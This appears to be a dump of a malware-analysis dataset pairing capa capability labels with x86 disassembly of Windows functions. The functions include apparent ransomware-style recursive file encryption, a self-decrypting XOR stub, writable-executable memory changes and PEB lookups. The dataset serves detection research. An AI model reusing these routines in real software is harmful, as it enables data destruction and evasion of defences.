joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402550
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x406040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
push edi
push 0
push 0x20
push 3
push 0
push 1
push 0x80000000
mov esi, ecx
mov ecx, dword [ebp + 0xc]
push eax
mov dword [ebp - 0x10], ecx
call ebx
mov edi, eax
cmp edi, 0xffffffff
je 0x4025e1
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [esi + 8], eax
mov eax, dword [esi + 4]
test eax, eax
je 0x4025b0
push eax
call fcn.0040341c
add esp, 4
mov dword [esi + 4], 0
push dword [esi + 8]
call fcn.00403421
add esp, 4
mov dword [esi + 4], eax
lea ecx, [ebp - 8]
mov dword [ebp - 8], 0
push 0
push ecx
push dword [esi + 8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
test eax, eax
jne 0x4025f6
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040315c
mov esp, ebp
pop ebp
ret 8
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [esi + 8], 8
jb 0x40261a
mov ecx, dword [esi + 4]
mov eax, dword [ecx]
cmp eax, dword [0x4047f0]
jne 0x40261a
mov eax, dword [ecx + 4]
cmp eax, dword [0x4047f4]
je 0x4025e1
push 0
push 0x20
push 2
push 0
push 1
push 0x40000000
push dword [ebp - 0x10]
call ebx
mov ebx, eax
mov dword [ebp - 0x10], ebx
cmp ebx, 0xffffffff
je 0x4025e1
mov ecx, dword [esi + 8]
add ecx, 8
push ecx
call fcn.00403421
mov ecx, dword [0x4047f0]
mov edx, dword [0x4047f4]
mov dword [ebp - 8], eax
mov dword [eax], ecx
lea ecx, [eax + 8]
mov dword [eax + 4], edx
push dword [esi + 8]
push dword [esi + 4]
push ecx
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [esi + 8]
add esp, 0x10
xor edi, edi
test eax, eax
jle 0x4026d0
mov edx, dword [ebp - 8]
lea ecx, [esi + 0x11d]
nop dword [eax]
mov eax, edi
and eax, 0xf
mov bl, byte [eax + 0x4047e0]
xor bl, byte [edx + edi + 8]
mov byte [edx + edi + 8], bl
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402696
sub ecx, edx
mov eax, edi
xor edx, edx
div ecx
lea ecx, [esi + 0x11d]
movsx eax, byte [edx + esi + 0x11d]
mov edx, dword [ebp - 8]
and eax, 0xf
mov al, byte [eax + 0x4047e0]
add al, bl
mov byte [edx + edi + 8], al
inc edi
mov eax, dword [esi + 8]
cmp edi, eax
jl 0x402680
mov ebx, dword [ebp - 0x10]
push 0
lea ecx, [ebp - 0xc]
mov dword [ebp - 0xc], 0
push ecx
add eax, 8
push eax
push dword [ebp - 8]
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
jne 0x4026fc
call eax
jmp 0x4025e1
call eax
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040315c
mov esp, ebp
pop ebp
ret 8
Function at 0x402720
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x454
mov eax, dword [0x406040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push edi
mov edi, dword [ebp + 8]
push edi
mov dword [ebp - 0x44c], eax
lea eax, [ebp - 0x308]
push 0x4047ac
push eax
mov dword [ebp - 0x450], ecx
call esi
add esp, 0xc
lea eax, [ebp - 0x448]
push eax
lea eax, [ebp - 0x308]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4028bc
nop
test byte [ebp - 0x448], 0x10
lea eax, [ebp - 0x41c]
jne 0x4027ec
push eax
push edi
lea eax, [ebp - 0x208]
push str._s_s
push eax
call esi
lea eax, [ebp - 0x41c]
push eax
push dword [ebp - 0x44c]
lea eax, [ebp - 0x108]
push str._s_s
push eax
call esi
lea eax, [ebp - 0x108]
push eax
push str._s_encrypted__n
call fcn.00401f60
mov ecx, dword [ebp - 0x450]
lea eax, [ebp - 0x108]
add esp, 0x28
push eax
lea eax, [ebp - 0x208]
push eax
call fcn.00402550
jmp 0x4028a6
mov ecx, 0x4047d4
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x402811
test dl, dl
je 0x40280d
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x402811
add eax, 2
add ecx, 2
test dl, dl
jne 0x4027f1
xor eax, eax
jmp 0x402816
sbb eax, eax
or eax, 1
test eax, eax
je 0x4028a6
mov eax, 0x4047c8
lea ecx, [ebp - 0x41c]
nop dword [eax]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x402850
test dl, dl
je 0x40284c
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x402850
add ecx, 2
add eax, 2
test dl, dl
jne 0x402830
xor eax, eax
jmp 0x402855
sbb eax, eax
or eax, 1
test eax, eax
je 0x4028a6
lea eax, [ebp - 0x41c]
push eax
push edi
lea eax, [ebp - 0x108]
push str._s_s_
push eax
call esi
lea eax, [ebp - 0x41c]
push eax
push dword [ebp - 0x44c]
lea eax, [ebp - 0x208]
push str._s_s_
push eax
call esi
mov ecx, dword [ebp - 0x450]
lea eax, [ebp - 0x208]
add esp, 0x20
push eax
lea eax, [ebp - 0x108]
push eax
call fcn.00402720
lea eax, [ebp - 0x448]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x402780
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040315c
mov esp, ebp
pop ebp
ret 8
Function at 0x402900
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x406040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
push edi
push 0
push 0x20
push 3
push 0
push 1
push 0x80000000
mov esi, ecx
mov ecx, dword [ebp + 0xc]
push eax
mov dword [ebp - 0x10], ecx
call ebx
mov edi, eax
cmp edi, 0xffffffff
je 0x402991
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [esi + 8], eax
mov eax, dword [esi + 4]
test eax, eax
je 0x402960
push eax
call fcn.0040341c
add esp, 4
mov dword [esi + 4], 0
push dword [esi + 8]
call fcn.00403421
add esp, 4
mov dword [esi + 4], eax
lea ecx, [ebp - 8]
mov dword [ebp - 8], 0
push 0
push ecx
push dword [esi + 8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
test eax, eax
jne 0x4029a6
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040315c
mov esp, ebp
pop ebp
ret 8
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [esi + 8], 8
jb 0x4029ca
mov ecx, dword [esi + 4]
mov eax, dword [ecx]
cmp eax, dword [0x404808]
jne 0x4029ca
mov eax, dword [ecx + 4]
cmp eax, dword [0x40480c]
je 0x402991
push 0
push 0x20
push 2
push 0
push 1
push 0x40000000
push dword [ebp - 0x10]
call ebx
mov ebx, eax
mov dword [ebp - 0x10], ebx
cmp ebx, 0xffffffff
je 0x402991
mov ecx, dword [esi + 8]
add ecx, 8
push ecx
call fcn.00403421
mov ecx, dword [0x404808]
mov edx, dword [0x40480c]
mov dword [ebp - 8], eax
mov dword [eax], ecx
lea ecx, [eax + 8]
mov dword [eax + 4], edx
push dword [esi + 8]
push dword [esi + 4]
push ecx
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [esi + 8]
add esp, 0x10
xor edi, edi
test eax, eax
jle 0x402a80
mov edx, dword [ebp - 8]
lea ecx, [esi + 0x11d]
nop dword [eax]
mov eax, edi
and eax, 0xf
mov bl, byte [eax + 0x4047f8]
xor bl, byte [edx + edi + 8]
mov byte [edx + edi + 8], bl
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402a46
sub ecx, edx
mov eax, edi
xor edx, edx
div ecx
lea ecx, [esi + 0x11d]
movsx eax, byte [edx + esi + 0x11d]
mov edx, dword [ebp - 8]
and eax, 0xf
mov al, byte [eax + 0x4047f8]
add al, bl
mov byte [edx + edi + 8], al
inc edi
mov eax, dword [esi + 8]
cmp edi, eax
jl 0x402a30
mov ebx, dword [ebp - 0x10]
push 0
lea ecx, [ebp - 0xc]
mov dword [ebp - 0xc], 0
push ecx
add eax, 8
push eax
push dword [ebp - 8]
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
jne 0x402aac
call eax
jmp 0x402991
call eax
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040315c
mov esp, ebp
pop ebp
ret 8
Function at 0x402ad0
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x454
mov eax, dword [0x406040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
mov esi, ecx
push ebx
mov dword [ebp - 0x44c], eax
lea eax, [ebp - 0x308]
push 0x4047ac
push eax
call edi
add esp, 0xc
lea eax, [ebp - 0x448]
push eax
lea eax, [ebp - 0x308]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x450], eax
cmp eax, 0xffffffff
je 0x402c86
nop
test byte [ebp - 0x448], 0x10
lea eax, [ebp - 0x41c]
jne 0x402b98
push eax
push ebx
lea eax, [ebp - 0x208]
push str._s_s
push eax
call edi
lea eax, [ebp - 0x41c]
push eax
push dword [ebp - 0x44c]
lea eax, [ebp - 0x108]
push str._s_s
push eax
call edi
lea eax, [ebp - 0x108]
push eax
push str._s_encrypted__n
call fcn.00401f60
add esp, 0x28
lea eax, [ebp - 0x108]
mov ecx, esi
push eax
lea eax, [ebp - 0x208]
push eax
call fcn.00402900
jmp 0x402c4a
mov ecx, 0x4047d4
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x402bc0
test dl, dl
je 0x402bbc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x402bc0
add eax, 2
add ecx, 2
test dl, dl
jne 0x402ba0
xor eax, eax
jmp 0x402bc5
sbb eax, eax
or eax, 1
test eax, eax
je 0x402c6b
mov eax, 0x4047c8
lea ecx, [ebp - 0x41c]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x402bf8
test dl, dl
je 0x402bf4
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x402bf8
add ecx, 2
add eax, 2
test dl, dl
jne 0x402bd8
xor eax, eax
jmp 0x402bfd
sbb eax, eax
or eax, 1
test eax, eax
je 0x402c6b
lea eax, [ebp - 0x41c]
push eax
push ebx
lea eax, [ebp - 0x108]
push str._s_s_
push eax
call edi
lea eax, [ebp - 0x41c]
push eax
push dword [ebp - 0x44c]
lea eax, [ebp - 0x208]
push str._s_s_
push eax
call edi
add esp, 0x20
lea eax, [ebp - 0x208]
mov ecx, esi
push eax
lea eax, [ebp - 0x108]
push eax
call fcn.00402ad0
push pe_nt_image_headers32
lea eax, [esi + 0xc]
mov dword [esi + 4], 0
push 0
push eax
mov dword [esi + 8], 0
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x448]
push eax
push dword [ebp - 0x450]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x402b30
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040315c
mov esp, ebp
pop ebp
ret 8

Function at 0x403a9e
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x403add
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x403add
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x403add
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x403add
cmp dword [ecx + 0x74], 0xe
jbe 0x403add
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0xdded44
Capabilities:
Encode data using xor

Disassembly:
jmp 0xdded4e
pushal
call 0xdded54
pop ebp
sub ebp, 0x10
sub ebp, 0x9ded44
jmp 0xdded6a
mov eax, 0x9ded44
add eax, ebp
add eax, 0x4c
mov ecx, 0x5c5
mov edx, 0x4a88cbab
xor byte [eax], dl
inc eax
dec ecx
jne 0xdded81
jmp 0xdded94
and byte [esi + 0x20], ah
and dl, byte [edi + 0x2aababab]
push 0x53
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
test al, 0x66
adc ebp, dword [edi + 0x11ababab]
sub dword [ebx + 0x495cabab], 0xffffffa8
arpl word [eax], sp
sub ah, byte [edi - 0x57545455]
outsb dx, byte [esi]
sti
iretd
Function at 0x405e6a
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push esi
mov esi, 0x104
lea eax, [ebp - 0x120]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp eax, esi
pop esi
jbe 0x405e8e
xor eax, eax
test eax, eax
je 0x405ea0
cmp byte [ebp + eax - 0x121], 0x5c
je 0x405ea0
xor ecx, ecx
jmp 0x405ea3
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx + 0x409010]
lea eax, [ebp + eax - 0x120]
push ecx
push str._s_s.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
leave
ret 4

Function at 0x405f43
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x43eacc], 0
push esi
jne 0x405f7a
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405f54
mov dword [ecx*4 + 0x43eac8], eax
inc ecx
cmp ecx, 0x100
jl 0x405f4f
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405fab
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x43eac8]
xor eax, esi
inc ecx
dec edx
jne 0x405f8d
pop edi
not eax
pop esi
ret 0xc

Function at 0x401219
Capabilities:
Terminate process

Disassembly:
mov eax, dword fs:[0]
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40701c
push 0x40109a
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push eax
fnstcw word [esp]
or word [esp], 0x300
fldcw word [esp]
add esp, 4
push 0
push 0
push 0x407028
push 0x407024
push 0x407020
call sub.CRTDLL.DLL___GetMainArgs
push dword [0x407028]
push dword [0x407024]
push dword [0x407020]
mov dword [0x407014], esp
call fcn.0040129c
add esp, 0x18
xor ecx, ecx
mov dword [ebp - 4], ecx
push eax
call sub.CRTDLL.DLL_exit
leave
ret

Function at 0x401941
Capabilities:
Allocate or change rwx memory
Encode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
push edi
and dword [ebp - 0x124], 0
xor edi, edi
mov byte [ebp - 0x104], 0
mov dword [ebp - 0x11c], 0x14
lea eax, [ebp - 0x11c]
push eax
lea eax, [ebp - 0x118]
push eax
push 1
push 1
lea eax, [ebp - 0x104]
push eax
call sub.CRYPT32.DLL_CryptBinaryToStringW
movzx eax, word [ebp - 0x118]
mov edi, eax
sub edi, 0x41
and dword [ebp - 0x120], 0
lea eax, [ebp - 0x120]
push eax
mov eax, edi
or al, 0x40
push eax
lea eax, [0x404691]
lea edx, [fcn.004019d4]
sub eax, edx
push eax
push fcn.004019d4
call sub.KERNEL32.dll_VirtualProtect
mov eax, edi
pop edi
leave
ret
Function at 0x405a80
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44f2ea
mov eax, dword fs:[0]
push eax
push ebx
push esi
push edi
mov eax, dword [0x467330]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
mov eax, dword [0x45541c]
xor edi, edi
mov dword [esi + 4], edi
mov dword [esi + 0x14], edi
mov dword [esi + 0x20], eax
or eax, 0xffffffff
mov dword [esi + 0x18], edi
mov dword [esi + 0x1c], edi
mov dword [esi + 0x24], 8
mov dword [esi + 0x28], edi
mov dword [esi + 0x3c], edi
and dword [esi + 0x44], 0xfffffff8
mov dword [esi + 0x40], edi
mov dword [esi + 0x2c], eax
mov dword [esi + 0x30], eax
mov dword [esi + 0x34], eax
mov dword [esi + 0x38], eax
mov dword [ebp - 4], edi
mov dword [esi], 0x4590ac
mov edx, dword [str.RYPT32.dll]
mov eax, dword [edx + 0xc]
mov ecx, str.RYPT32.dll
lea ebx, [esi + 0x54]
call eax
add eax, 0x10
mov dword [ebx], eax
mov dword [esi + 0x68], edi
mov dword [esi + 0x64], 0x459044
mov dword [esi + 0x6c], edi
mov byte [ebp - 4], 2
mov edx, dword [str.RYPT32.dll]
mov eax, dword [edx + 0xc]
mov ecx, str.RYPT32.dll
call eax
add eax, 0x10
mov dword [esi + 0x84], eax
mov dword [esi + 0xa0], edi
mov byte [ebp - 4], 4
push edi
push 0x458e90
push ebx
mov dword [esi + 0x74], 1
mov dword [esi + 0x78], edi
mov dword [esi + 0x7c], edi
mov dword [esi + 0x70], edi
mov dword [esi + 0x88], edi
mov dword [esi + 0x80], edi
mov dword [esi + 0x48], edi
mov dword [esi + 0x4c], edi
mov dword [esi + 0x50], edi
call fcn.00406e10
push 0x7f89
push edi
mov dword [esi + 0x58], edi
mov dword [esi + 0x5c], edi
mov dword [esi + 0x60], 4
mov dword [esi + 0x3c], edi
call dword [0x4553c4]
mov dword [esi + 0x98], eax
mov dword [esi + 0x9c], edi
mov eax, dword [esi + 0xa0]
cmp eax, edi
je 0x405ba0
push eax
call dword [0x455090]
mov dword [esi + 0xa0], edi
mov dword [esi + 0xa4], edi
mov dword [esi + 0xa8], edi
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x44fdb0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x24
mov dword [ebp - 0xc], 0xffffffff
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x1c]
dec eax
not eax
and eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
mov dword [ebp - 8], 0
cmp dword [ebp - 8], 2
jg 0x44fdfc
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 8]
shl eax, 4
add eax, edx
add eax, 0x20
cmp dword [eax], 0
jne 0x44fdf5
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
jmp 0x44fdfc
lea eax, [ebp - 8]
inc dword [eax]
jmp 0x44fdd4
cmp dword [ebp - 0xc], 0xffffffff
jne 0x44fe56
mov dword [ebp - 8], 0
cmp dword [ebp - 8], 2
jg 0x44fe49
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 8]
shl eax, 4
add eax, edx
add eax, 0x24
mov edx, dword [ebp - 0x10]
mov eax, dword [eax]
sub eax, edx
mov dword [esp], eax
call fcn.005e7e54
mov edx, eax
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x1c]
add eax, eax
cmp edx, eax
jle 0x44fe42
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
jmp 0x44fe49
lea eax, [ebp - 8]
inc dword [eax]
jmp 0x44fe09
cmp dword [ebp - 0xc], 0xffffffff
jne 0x44fe56
mov dword [ebp - 0xc], 0
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0xc]
shl eax, 4
add eax, edx
add eax, 0x2c
cmp dword [eax], 0
jne 0x44fe87
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0xc]
shl eax, 4
add eax, edx
lea ebx, [eax + 0x2c]
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x1c]
mov dword [esp], eax
call fcn.0052adf8
mov dword [ebx], eax
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0xc]
shl eax, 4
add eax, edx
lea edx, [eax + 0x24]
mov eax, dword [ebp - 0x10]
mov dword [edx], eax
mov dword [esp + 8], 0
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0xc]
shl eax, 4
add eax, edx
add eax, 0x24
mov eax, dword [eax]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov eax, dword [eax + 4]
mov dword [esp], eax
call sub.msvcrt.dll_fseek
test eax, eax
je 0x44fede
mov eax, dword [ebp + 8]
mov dword [eax + 8], 5
mov dword [ebp - 0x18], 0xffffffff
jmp 0x44ff6f
mov eax, dword [ebp + 8]
mov eax, dword [eax + 4]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x1c]
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0xc]
shl eax, 4
add eax, edx
add eax, 0x2c
mov eax, dword [eax]
mov dword [esp], eax
call sub.msvcrt.dll_fread
mov dword [ebp - 0x14], eax
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0xc]
shl eax, 4
add eax, edx
lea edx, [eax + 0x28]
mov eax, dword [ebp - 0x14]
mov dword [edx], eax
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0xc]
shl eax, 4
add eax, edx
add eax, 0x24
mov edx, dword [eax]
mov eax, dword [ebp + 0xc]
sub eax, edx
cmp eax, dword [ebp - 0x14]
jbe 0x44ff55
mov eax, dword [ebp + 8]
mov dword [eax + 8], 5
mov dword [ebp - 0x18], 0xffffffff
jmp 0x44ff6f
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0xc]
shl eax, 4
add eax, edx
add eax, 0x20
mov dword [eax], 1
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
add esp, 0x24
pop ebx
pop ebp
ret
Function at 0x4516dc
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x6c
mov dword [ebp - 0x28], 0x527d48
mov dword [ebp - 0x24], 0x5ef5f0
lea eax, [ebp - 0x20]
lea edx, [ebp - 0xc]
mov dword [eax], edx
mov edx, 0x451749
mov dword [eax + 4], edx
mov dword [eax + 8], esp
lea eax, [ebp - 0x40]
mov dword [esp], eax
call fcn.005341e8
mov eax, dword [ebp + 8]
cmp dword [eax], 0
jne 0x451783
mov eax, dword [ebp + 8]
mov dword [ebp - 0x48], eax
mov dword [esp], 0x60024
mov dword [ebp - 0x3c], 0xffffffff
call fcn.0052a9a8
mov dword [ebp - 0x4c], eax
mov edx, dword [ebp - 0x4c]
mov dword [esp], edx
mov dword [ebp - 0x3c], 1
call fcn.004adc26
jmp 0x45177b
mov eax, dword [ebp - 0x4c]
mov edx, dword [ebp - 0x48]
mov dword [edx], eax
mov edx, dword [ebp + 8]
mov dword [ebp - 0x58], edx
mov dword [esp + 4], 5
mov dword [esp], 0x60eb20
mov dword [ebp - 0x3c], 0xffffffff
call fcn.0044018a
mov edx, dword [ebp - 0x58]
mov dword [edx + 0xc8], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x5c], eax
mov dword [esp + 4], 9
mov dword [esp], 0x60eb20
call fcn.0044018a
mov edx, dword [ebp - 0x5c]
mov dword [edx + 0xcc], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x60], eax
mov dword [esp + 4], 6
mov dword [esp], 0x60eb20
call fcn.0044018a
mov edx, dword [ebp - 0x60]
mov dword [edx + 0xd0], eax
mov dword [esp + 4], 0x12
mov dword [esp], 0x60eb20
call fcn.0044018a
mov dword [0x60f050], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x4519f0
call sub.msvcrt.dll__beginthread
mov eax, dword [ebp + 0x10]
mov dword [esp + 8], eax
mov edx, dword [ebp + 0xc]
mov dword [esp + 4], edx
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov dword [esp], eax
call fcn.004ae38a
movzx eax, al
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x40]
mov dword [esp], eax
call fcn.005342c8
mov eax, dword [ebp - 0x44]
add esp, 0x6c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x4bebe0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x20
mov ebx, dword [ebp + 8]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 2
mov eax, dword [ebp + 8]
add eax, 8
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sub.WSOCK32.DLL_recv
sub esp, 0x10
mov dword [ebx], eax
mov eax, dword [ebp + 8]
movzx edx, byte [eax + 8]
mov eax, dword [ebp + 8]
movzx eax, byte [eax + 9]
shl eax, 8
or eax, edx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
cmp dword [eax], 2
jne 0x4bec3e
cmp dword [ebp - 0xc], 0x417e
jg 0x4bec3e
jmp 0x4bec7b
call sub.WSOCK32.DLL_WSAGetLastError
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x2733
jne 0x4bec64
mov eax, dword [ebp + 8]
mov dword [eax], 0
mov dword [ebp - 0x14], 1
jmp 0x4bede3
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.004bebc8
mov dword [ebp - 0x14], 0
jmp 0x4bede3
mov ebx, dword [ebp + 8]
mov esi, dword [ebp + 8]
mov dword [esp + 0xc], 0
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
add eax, 0xa
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sub.WSOCK32.DLL_recv
sub esp, 0x10
add eax, dword [esi]
mov dword [ebx], eax
mov eax, dword [ebp + 8]
cmp dword [eax], 2
jle 0x4becd5
mov eax, dword [ebp + 8]
movzx edx, byte [eax + 8]
mov eax, dword [ebp + 8]
movzx eax, byte [eax + 9]
shl eax, 8
or edx, eax
mov eax, dword [ebp + 8]
mov eax, dword [eax]
sub eax, 2
cmp edx, eax
jne 0x4becd5
jmp 0x4becec
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.004bebc8
mov dword [ebp - 0x14], 0
jmp 0x4bede3
mov eax, dword [ebp + 8]
mov dword [eax + 4], 2
mov eax, dword [ebp + 8]
cmp byte [eax + 0x4188], 0
je 0x4beddc
mov eax, dword [ebp + 8]
cmp byte [eax + 0x4189], 0
jne 0x4bed42
mov dword [esp + 4], str.Failure:__NetworkMessage::ReadFromSocket_._Key_not_set
mov dword [esp], 0x60f608
call fcn.005eb730
mov dword [esp + 4], 0x5e8450
mov dword [esp], eax
call fcn.0058f72c
mov dword [ebp - 0x14], 0
jmp 0x4bede3
mov eax, dword [ebp + 8]
mov eax, dword [eax]
sub eax, 2
and eax, 7
test eax, eax
je 0x4bed7e
mov dword [esp + 4], str.Failure:__NetworkMessage::ReadFromSocket_._Not_valid_encrypted_message_size
mov dword [esp], 0x60f608
call fcn.005eb730
mov dword [esp + 4], 0x5e8450
mov dword [esp], eax
call fcn.0058f72c
mov dword [ebp - 0x14], 0
jmp 0x4bede3
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.004bf99c
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.004befc0
movzx eax, ax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov eax, dword [eax]
sub eax, 4
cmp eax, dword [ebp - 0x10]
jge 0x4bedd4
mov dword [esp + 4], str.Failure:__NetworkMessage::ReadFromSocket_._Not_valid_unencrypted_message_size
mov dword [esp], 0x60f608
call fcn.005eb730
mov dword [esp + 4], 0x5e8450
mov dword [esp], eax
call fcn.0058f72c
mov dword [ebp - 0x14], 0
jmp 0x4bede3
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0x10]
mov dword [edx], eax
mov dword [ebp - 0x14], 1
mov eax, dword [ebp - 0x14]
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret